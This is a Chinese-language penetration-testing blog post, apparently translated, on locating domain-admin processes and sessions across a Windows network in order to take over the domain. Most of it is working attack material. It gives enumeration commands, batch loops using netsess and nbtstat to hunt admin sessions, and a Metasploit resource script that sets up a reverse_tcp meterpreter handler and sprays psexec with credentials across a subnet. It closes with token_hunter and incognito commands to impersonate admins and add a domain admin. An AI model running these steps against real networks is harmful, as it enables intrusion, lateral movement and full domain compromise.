域管理進程轉移,使得滲透測試人員能夠模擬在互聯網上的域名管理員賬戶進行操作。盡管如此,在滲透測試開始之前需要確認系統中進程是否運行。在這篇博文中,我講介紹5個技巧來幫助大家去做這些事情。
本地檢測
查詢活躍的域控制器
掃描遠程系統上運行的任務
掃描遠程系統上NetBIOS信息
PSExec掃描遠程系統上的身份驗證令牌
獲取域名管理員權限
在大多數情況下,本篇文章關注的焦點在於識別運行於域名管理進程的系統。
以下為大部分滲透測試人員獲取域名管理權限的過程
確定目標系統和應用程序
識別潛在的漏洞
利用漏洞獲得初始訪問
提升權限
定位域管理進程或者獲取遠程系統上的本地身份驗證令牌
通過本地管理員的密碼Hash,破解密碼,使用mimikatz工具抓取密碼驗證運行在遠程系統上的域名管理進程
遷移域管理進程
創建一個域管理員
整個過程在大多滲透測試社區中都有提到,如果你想了解更多詳情,可以通過Google找到許多指導書,技術文章,演示視頻。在本文中,我們注重的是前面提到的定位域管理進程或者獲取遠程系統上的本地身份驗證令牌。
尋找域名管理進程
下面開始講解我承諾給大家的5個技巧。
Technique 1:本地檢測
檢測目標系統總是第一步,以下是一個使用本地命令檢測域管理進程的簡單方法。
運行以下命令獲得域管理的列表:
net group “Domain Admins” /domain
運行以下命令列出進程和進程所有者,賬戶運行的進程應該第七欄
Tasklist /v
交叉引用的任務列表和域管理員列表
在目標系統中,如果域管理進程一開始就是可用的那就好辦了,但有時候,並非我們想的那麼簡單。所以,接下來的4個技巧會幫你在遠程域系統中找出域管理進程。
Technique 2:查詢活躍的域名控制器
據我所知,這個技巧是由一個NetSPI造成的。我們需要一個方法去識別活躍域名管理進程,或者是關閉IDS進行一些掃描。最終它會出現一個簡單查詢域控制器,獲取活躍域用戶以及交叉引用域管理員列表。美中不足的是,你需要查詢所有的域控制器。下面我會提供一個基本步驟來獲取活躍域管理員。
使用LDAP查詢從 “Domain Controllers”單元收集域控制器的列表,或者使用一下命令
net group “Domain Controllers” /domain
重要提示:從單元中獲取到的域控制器的列表可信度十分高。但請記住,你應該通過列舉信任域進程並標記這些域控制器。此外你也可以通過DNS查看
Nslookup –type=SRV _ldap._tcp.
使用LDAP查詢從”Domain Admins”獲取域管理員列表,或者使用下列命令
net group “Domain Admins” /domain
使用Netsess.exe查詢所有域控制器,獲取所有的活躍域。這是一款牛逼的工具,使用如下命令
Netsess.exe –h
交叉引用域管理員列表和活躍會話列表,來確認哪個IP地址有活躍域令牌。在安全的環境下你可能需要等待域管理員或者含有權限的服務賬戶,然後在進行活動。下面是一個快速使用Netsess的Windows命令行腳本,記住dcs.txt是一個域控制器列表admins.txt是一個域管理員列表。
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt &&
FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
我寫了一個簡單的批處理腳本GDA,它可以使整個過程完全自動化,詳情可以看readme文件。在Mark Beard以及Ivan Dasilva的啟發下,我還創建了一個名為GDU的腳本進行Windows字典攻擊。如果你感興趣,可以通過點擊上面的鏈接下載
Technique 3:掃描遠程系統上運行的任務
通常經過前面兩個技巧的摧殘,大部分情況都能攻下了。然而,我在LaNMSteR53的博客上看到另外一種聰明的方法。如果你使用共享本地管理員帳戶運行域系統,你可以運行下面的腳本掃描系統中的域管理任務。類似於前面提到的技巧,同樣首先需要列舉域管理員。下面的腳本包含,ips.txt目標系統列表,names.txt域管理員列表。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
Technique 4:掃描遠程系統上NetBIOS信息
一些Windows系統仍然允許用戶通過NetBIOS查詢已登錄用戶,同樣也可以使用原生的nbtstat工具進行查詢
下面這個Windows命令行腳本將掃描遠程系統活躍域管理會話。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
你也可以使用nbtscan工具
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
Technique 5:PSExec掃描遠程系統上的身份驗證令牌
安裝Metasploit 3.5或更高版本
將下面腳本復制到一個文本文件並保存到Metasploit目錄,命名為psexec_spray.rc.
#Setup Multi Handler to accept multiple incoming connections use multi/handler setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 0.0.0.0 setg LPORT 55555 set ExitOnSession false exploit -j -z
#Setup Credentials use windows/smb/psexec set SMBUser set SMBPass
#Setup Domain as local host unless using domain credentials set SMBDomain. #Disable playload handler in psexec modules (using multi handler) set DisablePayloadHandler true #Run Ruby code to scan desired network range using some REX API stuff - range walker #note: could also accept ip addresses from a file by replacing rhosts =”192.168.74.0/24” with rhosts = File.readlines(“c:systems.txt”) require 'rex/socket/range_walker' rhosts = "192.168.1.0/24" iplist = Rex::Socket::RangeWalker.new(rhosts) iplist.each do |rhost| #self allows for execution of commands in msfconsole self.run_single("set RHOST #{rhost}") #-j-z send the session to the background self.run_single("exploit -j -z") end
更新smbuser和smbpass參數
輸入以下命令運行腳本,psexec_spray.rc腳本使用所提供的憑據在所有存在於192.168.1.0/24的系統中盲目安裝meterpreter shells
msfconsole –r psexec_spray.rc
你可以使用Metasploit的token_hunter模塊識別域管理令牌
創建一個包含域管理員列表的文件: COMPANYjoe-admin COMPANYbill-admin COMPANYdavid-admin
加載token_hunter模塊
msfconsole msf> load token_hunter
運行token_hunter列出域管理令牌
msf> token_hunt_user -f /tmp/domain-admin.txt
另外,你可以使用下面的命令來獲得當前登錄用戶的列表
Sessions –s loggedin
What Now?
如果你已經有一個meterpreter會話,你可以用進入隱身模式來冒充域管理員或者添加一個新的管理員。
在meterpreter會話中加載隱身模式
load incongnito
嘗試添加一個域管理員:
add_user -h
add_group ""Domain Admins"" -h